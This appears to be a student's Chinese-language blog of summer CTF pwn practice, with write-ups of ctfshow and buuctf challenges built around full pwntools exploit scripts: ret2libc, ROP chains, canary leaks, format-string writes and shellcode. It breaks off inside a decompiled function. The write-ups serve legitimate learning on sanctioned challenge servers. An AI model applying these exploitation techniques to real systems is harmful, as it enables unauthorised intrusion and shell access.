暑期刷题

第一周

ctfshow_pwn03

checksec一下

32位程序开了nx,ret2shellcode不行了
拖入ida
main函数

查看那个好明显的函数pwnme

可溢出
没有找到后门等
ret2text和ret2syscall都不可以了
我能想到的是ret2libc
本题有puts,所以可以用puts来泄露libc的版本
原因:延时绑定,可以泄露调用过的函数的got地址(具体不太了解)
第一个payload

1
payload=b'a'*13+p32(puts_plt)+p32(main_addr)+p32(puts_got)

之前的准备:

1
2
3
4
elf=ELF('./stack1')
puts_plt=elf.plt['puts']
puts_got=efl.got['puts']
main_addr=elf.symbols['main']

偏移量的计算:ida给的是对的

9+4=13
解释为啥payload先plt再main最后got
我的理解:先plt是调用puts函数,main的地址作为返回地址为了下一次的payload发送,got则作为函数的参数,即puts函数的地址。
发送数据后要接受puts的地址
接受之前要

1
2
io.recvuntil('32bits\n')
io.recvuntil('\n')

之后接收数据

1
puts_addr=u32(io.recv(4))

接收四个字节(32位的一个地址长度)

然后获取libc版本

1
libc=LibcSearcher('puts',puts_addr)

计算基址

1
libcbase=puts_addr-elf.dump('puts')

算system和/bin/sh

1
2
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
from LibcSearcher import*
#io=process('./stack1')
io=remote('pwn.challenge.ctf.show',28190)
elf=ELF('./stack1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.symbols['main']
payload=b'a'*13+p32(puts_plt)+p32(main_addr)+p32(puts_got)
io.sendline(payload)
io.recvuntil('32bits\n')
io.recvuntil('\n')
puts_addr=u32(io.recv(4))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload=b'a'*13+p32(sys_addr)+b'a'*4+p32(bin_sh)
io.sendline(payload)
io.interactive()

运行后就可以拿到shell

buuctf_jarvisoj_level2_x64

checksec一下

64位,开启了nx保护

拖入ida

查看function函数

查看栈结构

偏移量:0x88

f12+shift查看字符串窗口

有/bin/sh和system

最终确认二者地址为

sys_addr=0x4004C0

bin_sh=0x600A90

因为文件是64位的,需要用rdi传参

又system函数有栈对齐的要求,需要ret来凑数

关于栈对齐,推荐一篇文章

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园

文章中说system函数要求在其之前16位栈对齐,是说在system之前的长度必须是16的倍数

(偏移量)0x88+(pop_rid)8+(bin_sh)8=0x98=152再加8是16的倍数

所以需要ret来栈对齐

查找pop_rid和pop_ret的gadget

ROPgadget –binary 文件名 –only ‘pop|ret’

payload如下

1
payload=b'a'*0x88+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

exp:

1
2
3
4
5
6
7
8
9
10
from pwn import*
#io=process("./level2_x64")
io=remote('node4.buuoj.cn',25190)
pop_rdi=0x4006b3
bin_sh=0x00600A90
sys_addr=0x4004C0
pop_ret=0x4004a1
payload=b'a'*0x88+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
io.sendline(payload)
io.interactive()

但是打远程不对齐也能通

第二周

buuctf_[OGeek2019]babyrop

checksec一下

32位,重定位表只读且堆栈不可执行
在ida中查看,没有后门等
只能ROPret2libc
main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}

/dev/urandom是Linux的一个生成随机数文件,0代表只读,但是open函数还是返回一个大于0的数,read函数将fd写给buf,因此buf处的数是随机的。
将buf作为参数传给sub_804871F返回值赋值给v2,将v2作为参数传给 sub_80487D0。

sub_804871F函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]

memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}

memset函数:将某一块区域内容设置为指定内容,多用于数组的初始化。
开始的两个 memset函数会将s和buf中元素都初始化为0.
sprintf函数,这个在我写c结课设计项目时遇到过,他是把a1打印在s上。
read函数从键盘读取0x20字节内容写入buf,并将返回值赋值给v5,查找资料的read函数返回值为读取的字节数。
接下来判断buf和s大小,相等返回0,不相等返回非0的数程序就会终止。因此第一个任务就是使比较结果为0
sub_80487D0函数

1
2
3
4
5
6
7
8
9
ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF

if ( a1 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1);
}

这个就不用说了。

思路

在sub_804871F函数中,我们确定了第一个目的,防止程序退出,就要使strncmp(buf, s, v1)结果为0
可以看到v1 = strlen(buf);这个总能看到,又是\x00截断,在输入时设置第一个元素为\x00
最后返回的时buf[7],看sub_80487D0函数,我们需要将传入的参数尽可能大了写,这样才能栈溢出并进行想要的操作
所以在输入时就要将buf[7]也一起修改了。
另外,read函数的结束符也是算一个字节的,所以输入的时候只要*7就可以了
这里又用到了\这个符号,\为转义字符,’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。
这个用到扩展ASCII,因为键盘上能输入的字符对应最大的ASCII数不足以完成栈溢出。
关于这个推荐收藏
因此第一个payload

1
payload=b'\x00'+b'\xff'*7

题目给了libc库版本,我本来不想用的,但是LibcSearcher找不到对应的版本,即使更新了也找不到,没办法又学会了一种方法。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
#from LibcSearcher import*
#io=process("./pwn")
io=remote("node4.buuoj.cn",26594)
elf=ELF("./pwn")
main_addr=0x8048825
payload=b'\x00'+b'\xff'*7
io.sendline(payload)
io.recvuntil('Correct\n')
write_plt=elf.plt['write']
write_got=elf.got['write']
payload1=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc=ELF("./libc-2.23.so")
libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+libc.sym["system"]
bin_sh=libcbase+next(libc.search(b'/bin/sh'))
payload2=b'a'*0xe7+b'a'*4+p32(sys_addr)+p32(0)+p32(bin_sh)
io.sendline(payload)
io.recvuntil('Correct\n')
io.sendline(payload2)
io.interactive()

不想解释了,有些注意点

  1. 32位程序函数参数直接压入栈中,即函数地址->函数的返回地址->参数n->参数n-1>···>参数1
  2. bin_sh=libcbase+next(libc.search(b'/bin/sh'))行原本其他博客中是binsh_libc=libc.search('/bin/sh').next(),但是一用就报错,后来找到原因是因为python3取消了那种用法。

buuctf_[HarekazeCTF2019]baby_rop

checksec

64位,堆栈不可执行
拖入ida

f12+shift查看字符串窗口
找到好东西了,system和/bin/sh都有

查找地址后得到
bin_sh=0x601048
system=0x400490
再找溢出点,也很好找

ida给出的栈长度是对的
最终exp

1
2
3
4
5
6
7
8
9
10
from pwn import*
#io=process('./babyrop')
io=remote('node4.buuoj.cn',27885)
pop_rdi=0x400683
bin_sh=0x601048
system=0x400490
pop_ret=0x0400479
payload=b'a'*0x18+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.interactive()

题目中提示ubuntu18,这个意思是要栈对齐,在之前的题目中提到过,就是system函数之前的字节数为16的倍数
所以这里用到pop_ret来凑数
有趣的是打通之后,
flag没有在当前目录,我还好奇的去群里问了一下,很快就找到方法
输入这条指令就能找到flag的位置

1
find / -name flag

ctfshow_pwn04

泄露绕过

checksec

32位,堆栈不可执行,还有canary保护,这是我第一次做关于绕过canary的题,看wp是肯定的

拖入ida

main函数调用了vuln函数,这是vuln函数

v3就是canary

题目让输入两次,一次用printf泄露canary,一次拿shell

计算canary在printf函数处的偏移量

gdb调试,查看vuln函数汇编指令

第一个框是canary产生的位置,打印ebp-0xc就可以看到canary,记住此时的值

第二个框是printf,在此处打断点用来算偏移量

第三个框是检验canary的位置

在run之后查看栈,寻找canary的值,框出来的0x7c

0x7c / 4 = 0x1f=31,据此可得canary在printf函数处的偏移量是31

根据格式化字符串漏洞,输入%31$x就可以打印出canary的值了

因此第一次输入的部分exp为

1
2
3
io.recvuntil('Hacker!\n')
io.sendline(b"%31$x")
canary= int(io.recv(),16)#将16进制数装换为整数

接收canary用u32(io.recv(4))不行,我也不知道为啥,谁叫咱菜呢

ida查看栈结构确定canary在栈中的位置

忘了说后门了

在ida可以看到,很明显的,getshell

地址是getshell=0x804859B

所以写payload

1
payload=b'a'*100+p32(canary)+b'a'*12+p32(getshell)

canary后面的12(8+4)也是根据ida看的

最终exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
io=process('./ex2')
#io=remote('pwn.challenge.ctf.show',28165)
io.recvuntil('Hacker!\n')
io.sendline(b"%31$x")
getshell=0x804859B
canary= int(io.recv(),16)
#print(hex(canary))
payload=b'a'*100+p32(canary)+b'a'*12+p32(getshell)
io.sendline(payload)
io.interactive()

第二种解法-覆盖绕过

从考核中其他师傅的wp中了解到的方法

canary格式是0x************00(最低位是\x00),因为是小端存储所以在最开始的地方是\x00(倒序存放),可以防止一些输出函数在输出前面内容时把canary连着也一起输出出来,有些输出函数遇到\x00会截断。

以canary为0xaaabaa00为例,在内存中存储为0x00aabaaa,这时我们在canary前面填入一个字符串,又恰好多输入一个字符,那么就能在后面输出时把canary也输出出来。

这也要看输入的函数,有些输入函数在输入完成后会在末尾加上\x00,这也是gets函数不能用来泄露canary的原因。

read函数不会再输入完成后再末尾加上\x00。

这道题用的就是read函数,所以用sendline先输入到canary,再利用下面的printf函数打印出canary的值。

1
2
3
io.sendline(b'a'*100)#100是从ida中看栈结构得出来的
io.recvuntil(b'a'*100)#先把这100个a接收
canary=u32(io.recv(4))-0xa

解释为什么要减去0xa

之前我有写要用sendline,其实不是一定的,sendline与send区别在于,sendline会多发送一个\n(换行符)

而\n对应的ascii值为0xa,上面也说了,数据在内存中倒序存放,所以在内从中canary应该是0xa123456(随意写的一个例子),直接接收到的canary应为0x654321a,减去0xa之后为0x6543210,倒序存放,又canary是以\x00结尾的,所以比对时canary值是没有改变的。

exp

1
2
3
4
5
6
7
8
9
10
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=process('./ex2')
getshell=0x0804859B
io.sendline(b'a'*100)
io.recvuntil(b'a'*100)
canary=u32(io.recv(4))-0xa
payload=b'a'*100+p32(canary)+b'a'*12+p32(getshell)
io.sendline(payload)
io.interactive()

buuctf_ciscn_2019_n_5

checksec一下

基本没有保护,那就可以试试ret2shellcode了
拖入ida

也很简单,name是bss段的,name写shellcode,gets溢出到name执行shellcode
exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
#io=process('./c')
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',25169)
shellcode_addr=0x601080
shellcode=asm(shellcraft.sh())
payload=b'a'*0x28+p64(shellcode_addr)
io.recvuntil(b'name\n')
io.sendline(shellcode)
io.recvuntil(b'me?\n')
io.sendline(payload)
io.interactive()

值得一提的是

1
context(os='linux',arch='amd64',log_level='debug')

这行代码是很主要的,它表明了系统以及版本,如果不表明系统,生成的shellcode是32位的,那样就打不通。
还有,打本地也打不通。

buuctf_ciscn_2019_en_2

这个题和第八题是一样的,我没去了解为啥一样,重新做了一遍,仍是有不会的地方
checksec一下

64位,堆栈不可执行
ida

这是一个加密程序,选择1可以加密
这是加密函数

绕过加密的办法:通过\x00截断strlen获取加密长度
还是直接给exp再解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug')
#以前不会用,这次开始用感觉很方便,在接收数据时便于吸收其他没用的东西
io=remote('node4.buuoj.cn',26149)
#io=process('./ciscn_2019_en_2')
elf=ELF('./ciscn_2019_en_2')
pop_rdi=0x400c83
pop_ret=0x4006b9#这两个gadget很好找的
main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil(b'encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
#前面是\x00截断,rid传参,got是参数,plt是函数,main是返回地址(这是64位调用函数的方式)
io.sendline(payload)
io.recvuntil(b'Ciphertext\n')
io.recvuntil(b'\n')
puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
#这个是接收一行,去除末尾换行符,补齐到8位,直接用u64(io.recv(8))不行接到的数据是错的,我觉得可能是换行符的原因
#print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload=b'\x00'+b'a'*0x57+p64(pop_ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)
#又在这里卡了一下,题目说了是ubuntu18,system有栈对齐的,所以用ret来凑数
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil('encrypted\n')
io.sendline(payload)
io.interactive()

第三周

buuctf_not_the_same_3dsctf_2016

checksec

32位堆栈不可执行
ida
main函数

1
2
3
4
5
6
7
8
nt __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4);
return 0;
}

有溢出
查看字符串窗口

看到了flag.txt
跟进后找到了get_secret()函数

1
2
3
4
5
6
7
8
int get_secret()
{
int v0; // esi

v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}

地址为get_secret=0x080489A0
这个函数打开了flag.txt文件并且存储到了fl4g位置

所以flag地址为flag_addr=0x80ECA2D
想要把flag输出,可以用printf、puts,我尝试了printf,但是没有成功,后来看了wp,都是用的write
改成用write
write有三个参数,一个是文件描述符(0,1,2),数据的地址,写入的长度。
第一个参数设置为1,代表输出流
栈结构不看了,多大都能溢出,还有看的结构里发现不用多溢出4,汇编显示最后没有用到ebp
payload我写了俩

1
2
3
payload1=b'a'*0x2d+p32(get_secret)+p32(main_addr)
payload2=b'a'*0x2d+p32(write_addr)+p32(0)+p32(1)+p32(flag_addr)+p32(45)
#第二个payload中,0是返回地址,45是根据get_secret()函数中可以得知flag长度为45

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',28754)
elf=ELF('./not_the_same_3dsctf_2016')
get_secrec=0x80489A0
flag_addr=0x80ECA2D
write_addr=elf.sym['write']
main_addr=elf.sym['main']
payload1=b'a'*0x2d+p32(get_secrec)+p32(main_addr)
payload2=b'a'*0x2d+p32(write_addr)+p32(0)+p32(1)+p32(flag_addr)+p32(45)
io.sendline(payload1)
io.sendline(payload2)
io.interactive()

ctfshow_pwn07

checksec

32位,堆栈不可执行

ida

main函数

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi

setvbuf(stdin, 0LL, 1, 0LL);
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 2, 0LL);
welcome(v3);
return 0;
}

welcome函数

1
2
3
4
5
6
7
int welcome()
{
char s[12]; // [rsp+4h] [rbp-Ch] BYREF

gets(s);
return puts(s);
}

welcome函数栈结构

没有system和binsh,本题是ret2libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug')
#io=process('./pwn')
io=remote('pwn.challenge.ctf.show',28144)
elf=ELF('./pwn')
main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x4006e3
ret=0x4004c6
payload1=b'a'*(0xc+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload1)
io.recvuntil('\n')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*(0xc+8)+p64(ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)+p64(0)
io.sendline(payload2)
io.interactive()

不解的地方

在接收puts的地址的时候,为什么是6位,尝试8位,是打不通的

ctfshow_pwn10

查看安全策略和反汇编

checksec

ida

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-80h]
int v5; // [esp-10h] [ebp-7Ch]
int v6; // [esp-Ch] [ebp-78h]
int v7; // [esp-8h] [ebp-74h]
int v8; // [esp-4h] [ebp-70h]
char format[100]; // [esp+0h] [ebp-6Ch] BYREF
int *p_argc; // [esp+64h] [ebp-8h]

p_argc = &argc;
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
printf("try pwn me?");
((void (__stdcall *)(const char *, char *, int, int, int, int, int))__isoc99_scanf)("%s", format, v4, v5, v6, v7, v8);
printf(format);
if ( num == 16 )
system("cat flag");
else
puts(aYouMayNeedToKe);
return 0;
}

num的位置

num=0x804A030

主函数中有格式化字符串漏洞,可以利用修改num处的值为16从而拿到flag

运行找偏移

a的ascii是61,可以看出偏移是7

所以

1
payload=p32(num)+b'a'*12+b'%7$n'

32位嘛,地址长度是四字节,在加上12就是需要的16了

exp

1
2
3
4
5
6
7
8
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
#io=process('./pwn')
io=remote('pwn.challenge.ctf.show',28200)
num=0x0804A030
payload=p32(num)+b'a'*12+b'%7$n'
io.sendline(payload)
io.interactive()

buuctf_ciscn_2019_ne_5

查看安全策略和反汇编

checksec

32位堆栈不可执行

ida

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+0h] [ebp-100h] BYREF
char src[4]; // [esp+4h] [ebp-FCh] BYREF
char v6[124]; // [esp+8h] [ebp-F8h] BYREF
char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
char v8[96]; // [esp+88h] [ebp-78h] BYREF
int *p_argc; // [esp+F4h] [ebp-Ch]

p_argc = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(v8, 0, sizeof(v8));
*(_DWORD *)src = 48;
memset(v6, 0, sizeof(v6));
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
exit(0);
return result;
case 1:
AddLog(src);
result = sub_804892B(argc, argv, envp);
break;
case 2:
Display(src);
result = sub_804892B(argc, argv, envp);
break;
case 3:
Print();
result = sub_804892B(argc, argv, envp);
break;
case 4:
GetFlag(src);
result = sub_804892B(argc, argv, envp);
break;
default:
result = sub_804892B(argc, argv, envp);
break;
}
return result;
}

查看字符串窗口

看到flag字样,跟进后

GetFlag函数

1
2
3
4
5
6
7
8
9
10
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF

*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}

提示在log,找到有关log

addlog函数

1
2
3
4
5
int __cdecl AddLog(int a1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}

可以输入128字节,通过addlog函数给src写payload

再调用getflag函数,将src复制到dest,造成栈溢出,可以拿到shell

有了system还差/bin/sh,虽然没法直接找到/bin/sh的gadget,但是找到了sh的gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26921)
#io=process('./ciscn_2019_ne_5')
str_sh=0x080482ea
system=0x80484D0
io.recvuntil(b'password:')
io.sendline(b'administrator')
io.recvuntil(b':')
io.sendline(b'1')
io.recvuntil(b'info:')
payload=b'a'*0x4c+p32(system)+b'0000'+p32(str_sh)
io.sendline(payload)
io.recvuntil(b':')
io.sendline(b'4')
io.interactive()

第四周

buuctf_铁人三项(第五赛区)_2018_rop

checksec

32位堆栈不可执行
ida
main

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
be_nice_to_people();
vulnerable_function();
return write(1, "Hello, World\n", 0xDu);
}

vulnerable_function

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[136]; // [esp+10h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}

没有后门函数
ret2libc
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
from LibcSearcher import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',27557)
#io=process('./2018_rop')
elf=ELF('./2018_rop')
write_got=elf.got['write']
write_plt=elf.plt['write']
vulnerable_function_addr=elf.sym['vulnerable_function']
payload1=b'a'*(136+4)+p32(write_plt)+p32(vulnerable_function_addr)+p32(1)+p32(write_got)+p32(0x4)
io.sendline(payload1)
#io.recvuntil(b'World\n')
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc=LibcSearcher('write',write_addr)
libcbase=write_addr-libc.dump('write')
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*(136+4)+p32(system)+b'1234'+p32(str_bin_sh)
io.sendline(payload2)
io.interactive()

buuctf_bjdctf_2020_babyrop

checksec

64位,堆栈不可执行
ida
main

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
vuln();
return 0;
}

init

1
2
3
4
5
6
7
int init()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Can u return to libc ?");
return puts("Try u best!");
}

vlun

1
2
3
4
5
6
7
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}

没有后门,ret2libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
from LibcSearcher import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26248)
#io=process('./bjdctf_2020_babyrop')
elf=ELF('./bjdctf_2020_babyrop')
ret=0x4004c9
pop_rdi=0x400733
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
vuln_addr=elf.sym['vuln']
payload1=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.recvuntil(b'story!\n')
io.sendline(payload1)
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*0x28+p64(ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)
io.recvuntil(b'story!\n')
io.sendline(payload2)
io.interactive()

这次看到了一句关于puts地址接收6位的话。
puts的有效地址只有6位,需要再结尾用0补齐8位
但是仍是没明白为啥

buuctf_bjdctf_2020_babystack2

checksec

64位,堆栈不可执行
ida
main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

后门函数(就在main上面,其实是从字符串窗口找到的)

1
2
3
4
5
__int64 backdoor()
{
system("/bin/sh");
return 1LL;
}

main函数栈结构

尝试覆盖nbytes,将其数值改大,失败了。
后经过观察,输入时的nybtes是有符号数字,而在限制read输入长度时是无符号数字,有符号数和无符号数(没有正负号,都为正)编码不同,具体可以百度搜索或去学习csapp。
所以输入-1,在后面read输入时输入长度就是无符号数中的最大值
exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',25691)
#io=process('./bjdctf_2020_babystack2')
backdoor=0x400726
io.recvuntil(b'name:\n')
io.sendline(b'-1')
io.recvuntil(b'name?\n')
payload=b'a'*0x18+p64(backdoor)
io.sendline(payload)
io.interactive()

buuctf_jarvisoj_fm

checksec

32位,堆栈不可执行,有canary保护
ida
main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

和ctfshow中的一题很像,考察格式化字符串漏洞利用
运行程序,确定输入对于printf的偏移量

a的ASCII码时61,所以输入内容相对于printf偏移量为11
main函数中x地址为

x_addr=0x804A02C

exp

1
2
3
4
5
6
7
8
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',28848)
#io=process('./fm')
x_addr=0x804A02C
payload=p32(x_addr)+b'%11$n'
io.sendline(payload)
io.interactive()

第五周

ciscn login

查看保护

保护全开

逆向分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char s[1032]; // [rsp+0h] [rbp-410h] BYREF
unsigned __int64 v4; // [rsp+408h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_C0A(a1, a2, a3);
while ( 1 )
{
memset(s, 0, 0x400uLL);
printf(">>> ");
read(0, s, 0x3FFuLL);
sub_FFD(s);
}
}

sub_FFD函数:检验输入格式,仅符合 opt:v7\n或msg:dest\n 的命令可输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
unsigned __int64 __fastcall sub_FFD(const char *a1)
{
char *sa; // 指向字符串的指针
char *sb; // 指向字符串的指针
char *sc; // 指向字符串的指针
char *sd; // 指向字符串的指针
char v7; // 单个字符
int v8; // 整数
int v9; // 整数
void *dest; // 指向内存块的指针
char *s1; // 指向字符串的指针
char *nptr; // 指向字符串的指针
unsigned __int64 v13; // 无符号64位整数

// 保存当前线程的堆栈基址
v13 = __readfsqword(0x28u);

// 将一个全局数组qword_202040的内容全部清零
memset(qword_202040, 0, sizeof(qword_202040));

v8 = 0;
v7 = 0;
dest = 0LL;

// 解析输入的字符串a1,直到遇到换行符('\n')或回车符('\r')
while (!*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10))
{
if (v8 <= 5)
qword_202040[2 * v8] = a1;

// 在字符串a1中查找字符':'
sb = strchr(a1, 58);

if (!sb)
{
// 如果没有找到':'字符,输出错误信息并退出程序
puts("error.");
exit(1);
}
*sb = 0;

// 将':'后面的空白字符置为0
for (sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc)
